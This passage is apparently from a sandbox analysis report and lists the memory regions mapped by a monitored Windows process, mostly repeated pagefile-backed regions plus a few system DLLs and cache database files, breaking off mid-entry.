pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 406 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 407 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 408 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 409 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 410 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 411 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 412 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 413 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 414 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 415 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 416 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 417 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 418 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 419 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 420 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 421 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 422 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 423 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 424 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 425 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 426 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 427 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 428 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 429 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 430 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 431 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 432 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 433 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 434 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 435 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 436 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 437 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 438 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 439 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 440 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 441 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 442 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 443 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 444 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 445 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 446 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 447 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 448 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 449 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 450 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 451 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 452 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 453 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 454 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 455 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 456 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 457 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 458 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 459 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 460 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 461 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 462 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 463 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 464 start_va = 0xd10000 end_va = 0xd2bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 465 start_va = 0xd30000 end_va = 0xd3dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 466 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 467 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 468 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 469 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 470 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 471 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 472 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 473 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 474 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 475 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 476 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 477 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 478 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 479 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 480 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 481 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 482 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 483 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 484 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 485 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 486 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 487 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 488 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 489 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 490 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 491 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 492 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 493 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 494 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 495 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 496 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 497 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 498 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 499 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 500 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 501 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 502 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 503 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 504 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 505 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 506 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 507 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 508 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 509 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 510 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 511 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 512 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 513 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 514 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 515 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 516 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 517 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 518 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 519 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 520 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 521 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 522 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 523 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 524 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 525 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 526 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 527 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 528 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 529 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 530 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 531 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 532 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 533 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 534 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 535 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 536 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 537 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 538 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 539 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 540 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 541 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 542 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 543 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 544 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 545 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 546 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 547 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 548 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 549 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 550 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 551 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 552 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 553 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 554 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 555 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 556 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 557 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 558 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 559 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 560 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 561 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 562 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 563 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 564 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 565 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 566 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 567 start_va = 0xd10000 end_va = 0xd1dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 568 start_va = 0xd10000 end_va = 0xd10fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d10000" filename = "" Region: id = 569 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 570 start_va = 0x35a0000 end_va = 0x399ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000035a0000" filename = "" Region: id = 571 start_va = 0x6fa90000 end_va = 0x6fbdafff monitored = 0 entry_point = 0x6faf1660 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 572 start_va = 0xd20000 end_va = 0xd20fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d20000" filename = "" Region: id = 573 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 574 start_va = 0xd30000 end_va = 0xd30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d30000" filename = "" Region: id = 575 start_va = 0xd40000 end_va = 0xd43fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 576 start_va = 0xe30000 end_va = 0xe74fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 577 start_va = 0xd60000 end_va = 0xd63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 578 start_va = 0x39a0000 end_va = 0x3a2dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 579 start_va = 0xd70000 end_va = 0xd80fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 580 start_va = 0xd90000 end_va = 0xd93fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: 